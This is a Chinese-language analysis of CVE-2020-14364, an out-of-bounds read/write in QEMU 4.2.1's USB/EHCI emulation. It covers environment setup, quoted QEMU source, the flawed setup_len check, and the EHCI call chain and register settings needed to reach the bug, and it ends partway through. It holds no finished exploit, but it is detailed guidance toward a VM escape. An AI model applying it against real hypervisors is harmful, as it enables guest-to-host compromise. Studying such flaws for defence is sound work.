CVE-2020-14364 QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。
环境搭建 漏洞复现Qemu版本为v4.2.1
安装依赖
安装spice-protocol:
1 2 3 4 5 6 wget https:// spice-space.org/download/ releases/spice-protocol-0.12 .10 .tar.bz2 tar xvf spice-protocol-0.12 .10 .tar.bz2 cd spice-protocol-0.12 .10 / ./configure make sudo make install
安装celt:
1 2 3 4 5 6 wget http:// downloads.us.xiph.org/releases/ celt/celt-0.5 .1.3 .tar.gz tar zxvf celt-0.5 .1.3 .tar.gz cd celt-0.5 .1.3 / ./configure make sudo make install
安装依赖:
1 2 sudo apt install libjpeg-dev sudo apt-get install libsasl2-dev
安装spice-server
1 2 3 4 5 6 wget https:// spice-space.org/download/ releases/spice-server/ spice-0.12 .7 .tar.bz2 tar xvf spice-0.12 .7 .tar.bz2 cd spice-0.12 .7 / ./configure make sudo make install
编译qemu
1 2 3 4 5 git clone https://github.com/qemu/qemu.git git checkout tags/4.2.1 mkdir build && cd build ../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice make -j6
高版本ld
版本不支持编译qemu-4.2.1,降低ld
版本。
1 2 3 4 5 6 7 8 9 10 wget https://ftp.gnu.org/gnu/binutils/binutils-2.30.tar.gz tar -xvf binutils-2.30.tar.gz cd binutils-2.30 ./configure --prefix=/usr/local/binutils make -j6 sudo make install# 替换掉高版本的ld cd /usr/local/binutils sudo mv /usr/bin/ld /usr/bin/ld.back sudo ln -s /usr/local/binutils/bin/ld /usr/bin/ld
漏洞原理 前置知识 关键结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; int speed; int speedmask; uint8_t addr; char product_desc[32 ]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8 ]; uint8_t data_buf[4096 ]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; };struct EHCIState { USBBus bus; DeviceState *device; qemu_irq irq; MemoryRegion mem; AddressSpace *as; MemoryRegion mem_caps; MemoryRegion mem_opreg; MemoryRegion mem_ports; int companion_count; bool companion_enable; uint16_t capsbase; uint16_t opregbase; uint16_t portscbase; uint16_t portnr; uint32_t maxframes; uint8_t caps[CAPA_SIZE]; union { uint32_t opreg[0x44 / sizeof (uint32_t )]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9 ]; uint32_t configflag; }; }; uint32_t portsc[NB_PORTS]; QEMUTimer *frame_timer; QEMUBH *async_bh; bool working; uint32_t astate; uint32_t pstate; USBPort ports[NB_PORTS]; USBPort *companion_ports[NB_PORTS]; uint32_t usbsts_pending; uint32_t usbsts_frindex; EHCIQueueHead aqueues; EHCIQueueHead pqueues; uint32_t a_fetch_addr; uint32_t p_fetch_addr; USBPacket ipacket; QEMUSGList isgl; uint64_t last_run_ns; uint32_t async_stepdown; uint32_t periodic_sched_active; bool int_req_by_async; VMChangeStateEntry *vmstate; };
关键函数
usb_packet_copy
函数根据p->pid
判断调用iov_to_buf
函数或者是iov_from_buf
函数。在漏洞利用过程中,iov_from_buf
函数将s->data_buf + s->setup_index
复制到iov->iov.base
用户空间中,实现设备空间读。iov_to_buf
函数将iov->iov.base
复制到s->data_buf + s->setup_index
设备空间中,实现设备空间写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 void usb_packet_copy (USBPacket *p, void *ptr, size_t bytes) { QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov; assert(p->actual_length >= 0 ); assert(p->actual_length + bytes <= iov->size); switch (p->pid) { case USB_TOKEN_SETUP: case USB_TOKEN_OUT: iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; case USB_TOKEN_IN: iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; default : fprintf (stderr , "%s: invalid pid: %x\n" , __func__, p->pid); abort (); } p->actual_length += bytes; }static inline size_t iov_from_buf (const struct iovec *iov, unsigned int iov_cnt, size_t offset, const void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) { memcpy (iov[0 ].iov_base + offset, buf, bytes); return bytes; } else { return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes); } }static inline size_t iov_to_buf (const struct iovec *iov, const unsigned int iov_cnt, size_t offset, void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) { memcpy (buf, iov[0 ].iov_base + offset, bytes); return bytes; } else { return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes); } }
上述iov->iov.base
是用户可以控制的地址,具体可从以下函数追溯。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 if (p->async == EHCI_ASYNC_NONE) { if (ehci_init_transfer(p) != 0 ) { return -1 ; } spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 ); usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd, (p->qtd.token & QTD_TOKEN_IOC) != 0 ); usb_packet_map(&p->packet, &p->sgl); p->async = EHCI_ASYNC_INITIALIZED; }int usb_packet_map (USBPacket *p, QEMUSGList *sgl) { DMADirection dir = (p->pid == USB_TOKEN_IN) ? DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE; void *mem; int i; for (i = 0 ; i < sgl->nsg; i++) { dma_addr_t base = sgl->sg[i].base; dma_addr_t len = sgl->sg[i].len; while (len) { dma_addr_t xlen = len; mem = dma_memory_map(sgl->as, base, &xlen, dir); if (!mem) { goto err; } if (xlen > len) { xlen = len; } qemu_iovec_add(&p->iov, mem, xlen); len -= xlen; base += xlen; } } return 0 ; err: usb_packet_unmap(p, sgl); return -1 ; }void qemu_iovec_add (QEMUIOVector *qiov, void *base, size_t len) { assert(qiov->nalloc != -1 ); if (qiov->niov == qiov->nalloc) { qiov->nalloc = 2 * qiov->nalloc + 1 ; qiov->iov = g_renew(struct iovec, qiov->iov, qiov->nalloc); } qiov->iov[qiov->niov].iov_base = base; qiov->iov[qiov->niov].iov_len = len; qiov->size += len; ++qiov->niov; }
接下来就看sgl->sg[i].base
与sgl->sg[i].len
从何处而来即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 if (p->async == EHCI_ASYNC_NONE) { if (ehci_init_transfer(p) != 0 ) { return -1 ; } spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 ); usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd, (p->qtd.token & QTD_TOKEN_IOC) != 0 ); usb_packet_map(&p->packet, &p->sgl); p->async = EHCI_ASYNC_INITIALIZED; }static int ehci_init_transfer (EHCIPacket *p) { uint32_t cpage, offset, bytes, plen; dma_addr_t page; cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE); bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES); offset = p->qtd.bufptr[0 ] & ~QTD_BUFPTR_MASK; qemu_sglist_init(&p->sgl, p->queue ->ehci->device, 5 , p->queue ->ehci->as); while (bytes > 0 ) { if (cpage > 4 ) { fprintf (stderr , "cpage out of range (%d)\n" , cpage); qemu_sglist_destroy(&p->sgl); return -1 ; } page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK; page += offset; plen = bytes; if (plen > 4096 - offset) { plen = 4096 - offset; offset = 0 ; cpage++; } qemu_sglist_add(&p->sgl, page, plen); bytes -= plen; } return 0 ; }void qemu_sglist_add (QEMUSGList *qsg, dma_addr_t base, dma_addr_t len) { if (qsg->nsg == qsg->nalloc) { qsg->nalloc = 2 * qsg->nalloc + 1 ; qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof (ScatterGatherEntry)); } qsg->sg[qsg->nsg].base = base; qsg->sg[qsg->nsg].len = len; qsg->size += len; ++qsg->nsg; }
p->qtd.token
字段是我们可以控制的,总的来说,调用usb_packet_map
函数可以实现用户可控内容读写。
漏洞定位 qemu-4.2.1\hw\usb\core.c: do_token_setup
[1]处调用usb_packet_copy
函数控制变量s->setup_buf
,[2]处根据s->setup_buf
为变量s->setup_len
赋值,其最大为0xffff,但是[3]处判断逻辑出现问题,使得s->setup_len > sizeof(s->data_buf)
条件成立的情况下,依然为变量s->setup_len
赋值,没有起到检查的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 static void do_token_setup (USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8 ) { p->status = USB_RET_STALL; return ; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0 ; p->actual_length = 0 ; s->setup_len = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ]; if (s->setup_len > sizeof (s->data_buf)) { fprintf (stderr , "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" , s->setup_len, sizeof (s->data_buf)); p->status = USB_RET_STALL; return ; } request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ]; value = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ]; index = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ]; if (s->setup_buf[0 ] & USB_DIR_IN) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { s->setup_state = SETUP_STATE_SETUP; } if (p->status != USB_RET_SUCCESS) { return ; } if (p->actual_length < s->setup_len) { s->setup_len = p->actual_length; } s->setup_state = SETUP_STATE_DATA; } else { if (s->setup_len == 0 ) s->setup_state = SETUP_STATE_ACK; else s->setup_state = SETUP_STATE_DATA; } p->actual_length = 8 ; }
qemu-4.2.1\hw\usb\core.c:do_token_in
[1]处通过s->setup_len
获取len
字段,而p->iov.size
根据上述分析用户可控,然后在[2]处调用usb_packet_copy
函数造成越界访问,从而获取越界读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static void do_token_in (USBDevice *s, USBPacket *p) { int request, value, index; assert(p->ep->nr == 0 ); request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ]; value = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ]; index = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ]; switch (s->setup_state) { case SETUP_STATE_ACK: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { return ; } s->setup_state = SETUP_STATE_IDLE; p->actual_length = 0 ; } break ; case SETUP_STATE_DATA: if (s->setup_buf[0 ] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break ; default : p->status = USB_RET_STALL; } }
qemu-4.2.1\hw\usb\core.c:do_token_out
同理,[1]处通过s->setup_len
获取len
字段,而p->iov.size
根据上述分析用户可控,然后在[2]处调用usb_packet_copy
函数造成越界写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static void do_token_out (USBDevice *s, USBPacket *p) { assert(p->ep->nr == 0 ); switch (s->setup_state) { case SETUP_STATE_ACK: if (s->setup_buf[0 ] & USB_DIR_IN) { s->setup_state = SETUP_STATE_IDLE; } else { } break ; case SETUP_STATE_DATA: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break ; default : p->status = USB_RET_STALL; } }
USB设备初始化 USB控制器是连接USB设备与计算机系统的桥梁。USB控制器负责管理USB总线上的通信,并确保USB设备能够正确地与计算机交互。
USB控制器类型
OHCI、UHCI都是USB1.1的接口标准,而EHCI是对应USB2.0的接口标准,最新的xHCI是USB3.0的接口标准。
OHCI( Open Host Controller Interface ) :一个不仅仅是usb用的主控制器接口标准。主要是遵循csr (configuration space register)标准。是其他厂商在设计usb host controller时遵循的标准,如via, nec, ali, 包括nvidia等等。支持USB1.1的标准。
UHCI (Universal Host Controller Interface ),是Intel主导的对USB1.0、1.1的接口标准,与OHCI不兼容。
EHCI(Enhanced Host Controller Interface ) ,是Intel主导的USB2.0的接口标准。EHCI仅提供USB2.0的高速功能,而依靠UHCI或OHCI来提供对全速(full-speed)或低速(low-speed)设备的支持。
xHCI( eXtensible Host Controller Interface ),是最新的USB3.0的接口标准,它在速度、节能、虚拟化等方面都比前面3中有了较大的提高。xHCI 支持所有种类速度的USB设备(USB 3.0 SuperSpeed, USB 2.0 Low-, Full-, and High-speed, USB 1.1 Low- and Full-speed)。xHCI的目的是为了替换前面三种(UHCI/OHCI/EHCI)。
USB控制器初始化
在QEMU启动日志中可以看到,USB使用的控制器类型是EHCI,具体模拟的设备为ehci-pci,基于此设备控制USB设备的行为。
查看ehci-pci设备的具体初始化过程。ehci_pci设备的初始化符合QOM模型。
首先查看echi_pci类型注册过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static const TypeInfo ehci_pci_type_info = { .name = TYPE_PCI_EHCI, .parent = TYPE_PCI_DEVICE, .instance_size = sizeof (EHCIPCIState), .instance_init = usb_ehci_pci_init, .instance_finalize = usb_ehci_pci_finalize, .abstract = true , .class_init = ehci_class_init, .interfaces = (InterfaceInfo[]) { { INTERFACE_CONVENTIONAL_PCI_DEVICE }, { }, }, }; type_register_static(&ehci_pci_type_info);
从类型注册中可以看到,类型初始化函数为ehci_class_init
,类型的实例初始化函数为usb_ehci_pci_init
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 static void ehci_class_init (ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->realize = usb_ehci_pci_realize; k->exit = usb_ehci_pci_exit; k->class_id = PCI_CLASS_SERIAL_USB; k->config_write = usb_ehci_pci_write_config; dc->vmsd = &vmstate_ehci_pci; dc->props = ehci_pci_properties; dc->reset = usb_ehci_pci_reset; }static void usb_ehci_pci_init (Object *obj) { DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE); EHCIPCIState *i = PCI_EHCI(obj); EHCIState *s = &i->ehci; s->caps[0x09 ] = 0x68 ; s->capsbase = 0x00 ; s->opregbase = 0x20 ; s->portscbase = 0x44 ; s->portnr = NB_PORTS; if (!dc->hotpluggable) { s->companion_enable = true ; } usb_ehci_init(s, DEVICE(obj)); }void usb_ehci_init (EHCIState *s, DeviceState *dev) { s->caps[0x00 ] = (uint8_t )(s->opregbase - s->capsbase); s->caps[0x01 ] = 0x00 ; s->caps[0x02 ] = 0x00 ; s->caps[0x03 ] = 0x01 ; s->caps[0x04 ] = s->portnr; s->caps[0x05 ] = 0x00 ; s->caps[0x06 ] = 0x00 ; s->caps[0x07 ] = 0x00 ; s->caps[0x08 ] = 0x80 ; s->caps[0x0a ] = 0x00 ; s->caps[0x0b ] = 0x00 ; QTAILQ_INIT(&s->aqueues); QTAILQ_INIT(&s->pqueues); usb_packet_init(&s->ipacket); memory_region_init(&s->mem, OBJECT(dev), "ehci" , MMIO_SIZE); memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s, "capabilities" , CAPA_SIZE); memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, "operational" , s->portscbase); memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s, "ports" , 4 * s->portnr); memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps); memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg); memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase, &s->mem_ports); }
ehci_class_init
函数注册设备的实现函数为usb_ehci_pci_realize
。
usb_ehci_pci_init
函数初始化EHCIState
结构体部分字段,并调用usb_ehci_init
函数为EHCIState
的caps opreg ports
等字段注册回调函数,通过读写相应内存,可触发相关回调函数。不同字段的访问基地址和范围是不同的,caps
基址定义在capsbase
,也即0x0
,opreg
基址定义在portscbase
,也即0x20
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static const MemoryRegionOps ehci_mmio_caps_ops = { .read = ehci_caps_read, .write = ehci_caps_write, .valid.min_access_size = 1 , .valid.max_access_size = 4 , .impl.min_access_size = 1 , .impl.max_access_size = 1 , .endianness = DEVICE_LITTLE_ENDIAN, };static const MemoryRegionOps ehci_mmio_opreg_ops = { .read = ehci_opreg_read, .write = ehci_opreg_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, };static const MemoryRegionOps ehci_mmio_port_ops = { .read = ehci_port_read, .write = ehci_port_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, };
这里主要关注opreg
字段,而且主要用到了写回调函数,所以查看ehci_opreg_write
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 static void ehci_opreg_write (void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; uint32_t *mmio = s->opreg + (addr >> 2 ); uint32_t old = *mmio; int i; trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val); switch (addr) { case USBCMD: if (val & USBCMD_HCRESET) { ehci_reset(s); val = s->usbcmd; break ; } if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) { fprintf (stderr , "attempt to set frame list size -- value %d\n" , (int )val & USBCMD_FLS); val &= ~USBCMD_FLS; } if (val & USBCMD_IAAD) { s->async_stepdown = 0 ; qemu_bh_schedule(s->async_bh); trace_usb_ehci_doorbell_ring(); } if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) != ((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) { if (s->pstate == EST_INACTIVE) { SET_LAST_RUN_CLOCK(s); } s->usbcmd = val; ehci_update_halt(s); s->async_stepdown = 0 ; qemu_bh_schedule(s->async_bh); } break ; case USBSTS: val &= USBSTS_RO_MASK; ehci_clear_usbsts(s, val); val = s->usbsts; ehci_update_irq(s); break ; case USBINTR: val &= USBINTR_MASK; if (ehci_enabled(s) && (USBSTS_FLR & val)) { qemu_bh_schedule(s->async_bh); } break ; case FRINDEX: val &= 0x00003fff ; s->usbsts_frindex = val; break ; case CONFIGFLAG: val &= 0x1 ; if (val) { for (i = 0 ; i < NB_PORTS; i++) handle_port_owner_write(s, i, 0 ); } break ; case PERIODICLISTBASE: if (ehci_periodic_enabled(s)) { fprintf (stderr , "ehci: PERIODIC list base register set while periodic schedule\n" " is enabled and HC is enabled\n" ); } break ; case ASYNCLISTADDR: if (ehci_async_enabled(s)) { fprintf (stderr , "ehci: ASYNC list address register set while async schedule\n" " is enabled and HC is enabled\n" ); } break ; } *mmio = val; trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr), *mmio, old); }
这个函数通过传入的addr
判断跳入到哪个switch
分支,然后为EHCIState
的opreg
字段赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 union { uint32_t opreg[0x44 / sizeof (uint32_t )]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9 ]; uint32_t configflag; }; };
漏洞调用链 当触发到do_token_setup
函数时,函数调用链如下:
简单梳理下可以得到如下格式的调用链:
1 ehci_work_bh -> ehci_advance_periodic_static -> ehci_advance_state -> ehci_state_execute -> ehci_execute -> usb_handle_packet -> usb_process_one -> do_token_setup
让我们逐个查看如何触发到最终函数。
ehci_work_bh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 static void ehci_work_bh (void *opaque) { EHCIState *ehci = opaque; int need_timer = 0 ; int64_t expire_time, t_now; uint64_t ns_elapsed; uint64_t uframes, skipped_uframes; int i; if (ehci->working) { return ; } ehci->working = true ; t_now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL); ns_elapsed = t_now - ehci->last_run_ns; uframes = ns_elapsed / UFRAME_TIMER_NS; if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) { need_timer++; if (uframes > (ehci->maxframes * 8 )) { skipped_uframes = uframes - (ehci->maxframes * 8 ); ehci_update_frindex(ehci, skipped_uframes); ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes; uframes -= skipped_uframes; DPRINTF("WARNING - EHCI skipped %d uframes\n" , skipped_uframes); } for (i = 0 ; i < uframes; i++) { if (i >= MIN_UFR_PER_TICK) { ehci_commit_irq(ehci); if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) { break ; } } if (ehci->periodic_sched_active) { ehci->periodic_sched_active--; } ehci_update_frindex(ehci, 1 ); if ((ehci->frindex & 7 ) == 0 ) { ehci_advance_periodic_state(ehci); } ehci->last_run_ns += UFRAME_TIMER_NS; } } ehci->working = false ; }static inline bool ehci_periodic_enabled (EHCIState *s) { return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); }static inline bool ehci_enabled (EHCIState *s) { return s->usbcmd & USBCMD_RUNSTOP; }
这里我们看到,我们需要满足ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE
为真,才能进入到if
逻辑中。这里设置s->usbcmd & USBCMD_PSE == 1 && s->usbcmd & USBCMD_RUNSTOP == 1
即可。s->usbcmd
属于s->opreg
数组中,而数组中的字段是我们可控的。 之后需要满足ehci->frindex & 7 == 0
,这里直接设置ehci->frindex
为0即可。
总的来说,这个函数需要满足以下条件:
1 2 s->usbcmd & USBCMD_PSE == 1 && s->usbcmd & USBCMD_RUNSTOP == 1 ; ehci->frindex == 0
ehci_advance_periodic_state
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 static void ehci_advance_periodic_state (EHCIState *ehci) { uint32_t entry; uint32_t list ; const int async = 0 ; switch (ehci_get_state(ehci, async)) { case EST_INACTIVE: if (!(ehci->frindex & 7 ) && ehci_periodic_enabled(ehci)) { ehci_set_state(ehci, async, EST_ACTIVE); } else break ; case EST_ACTIVE: if (!(ehci->frindex & 7 ) && !ehci_periodic_enabled(ehci)) { ehci_queues_rip_all(ehci, async); ehci_set_state(ehci, async, EST_INACTIVE); break ; } list = ehci->periodiclistbase & 0xfffff000 ; if (list == 0 ) { break ; } list |= ((ehci->frindex & 0x1ff8 ) >> 1 ); if (get_dwords(ehci, list , &entry, 1 ) < 0 ) { break ; } DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n" , ehci->frindex / 8 , list , entry); ehci_set_fetch_addr(ehci, async, entry); ehci_set_state(ehci, async, EST_FETCHENTRY); ehci_advance_state(ehci, async); ehci_queues_rip_unused(ehci, async); break ; default : fprintf (stderr , "ehci: Bad periodic state %d. " "Resetting to active\n" , ehci->pstate); g_assert_not_reached(); } }static inline int get_dwords (EHCIState *ehci, uint32_t addr, uint32_t *buf, int num) { int i; if (!ehci->as) { ehci_raise_irq(ehci, USBSTS_HSE); ehci->usbcmd &= ~USBCMD_RUNSTOP; trace_usb_ehci_dma_error(); return -1 ; } for (i = 0 ; i < num; i++, buf++, addr += sizeof (*buf)) { dma_memory_read(ehci->as, addr, buf, sizeof (*buf)); *buf = le32_to_cpu(*buf); } return num; }
这里通过调试,可以发现总是走EST_ACTIVE
这个分支,if
判断由上述分析可知也是不会步入的。然后通过ehci->periodiclistbase
字段设置变量list
,并获取list
地址内容到变量entry
中,也即*list = entry
。然后设置ehci->p_fetch_addr = entry
。
这里通过控制ehci->periodiclistbase
字段地址内容即可控制ehci->p_fetch_addr
字段。
ehci_advance_state
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 static void ehci_advance_state (EHCIState *ehci, int async) { EHCIQueue *q = NULL ; int itd_count = 0 ; int again; do { switch (ehci_get_state(ehci, async)) { case EST_WAITLISTHEAD: again = ehci_state_waitlisthead(ehci, async); break ; case EST_FETCHENTRY: again = ehci_state_fetchentry(ehci, async); break ; case EST_FETCHQH: q = ehci_state_fetchqh(ehci, async); if (q != NULL ) { assert(q->async == async); again = 1 ; } else { again = 0 ; } break ; case EST_FETCHITD: again = ehci_state_fetchitd(ehci, async); itd_count++; break ; case EST_FETCHSITD: again = ehci_state_fetchsitd(ehci, async); itd_count++; break ; case EST_ADVANCEQUEUE: assert(q != NULL ); again = ehci_state_advqueue(q); break ; case EST_FETCHQTD: assert(q != NULL ); again = ehci_state_fetchqtd(q); break ; case EST_HORIZONTALQH: assert(q != NULL ); again = ehci_state_horizqh(q); break ; case EST_EXECUTE: assert(q != NULL ); again = ehci_state_execute(q); if (async) { ehci->async_stepdown = 0 ; } break ; case EST_EXECUTING: assert(q != NULL ); if (async) { ehci->async_stepdown = 0 ; } again = ehci_state_executing(q); break ; case EST_WRITEBACK: assert(q != NULL ); again = ehci_state_writeback(q); if (!async) { ehci->periodic_sched_active = PERIODIC_ACTIVE; } break ; default : fprintf (stderr , "Bad state!\n" ); again = -1 ; g_assert_not_reached(); break ; } if (again < 0 || itd_count > 16 ) { fprintf (stderr , "processing error - resetting ehci HC\n" ); ehci_reset(ehci); again = 0 ; } } while (again); }static int ehci_state_fetchentry (EHCIState *ehci, int async) { int again = 0 ; uint32_t entry = ehci_get_fetch_addr(ehci, async); if (NLPTR_TBIT(entry)) { ehci_set_state(ehci, async, EST_ACTIVE); goto out; } if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) { fprintf (stderr , "non queue head request in async schedule\n" ); return -1 ; } switch (NLPTR_TYPE_GET(entry)) { case NLPTR_TYPE_QH: ehci_set_state(ehci, async, EST_FETCHQH); again = 1 ; break ; case NLPTR_TYPE_ITD: ehci_set_state(ehci, async, EST_FETCHITD); again = 1 ; break ; case NLPTR_TYPE_STITD: ehci_set_state(ehci, async, EST_FETCHSITD); again = 1 ; break ; default : fprintf (stderr , "FETCHENTRY: entry at %X is of type %d " "which is not supported yet\n" , entry, NLPTR_TYPE_GET(entry)); return -1 ; } out: return again; }#define NLPTR_TYPE_GET(x) 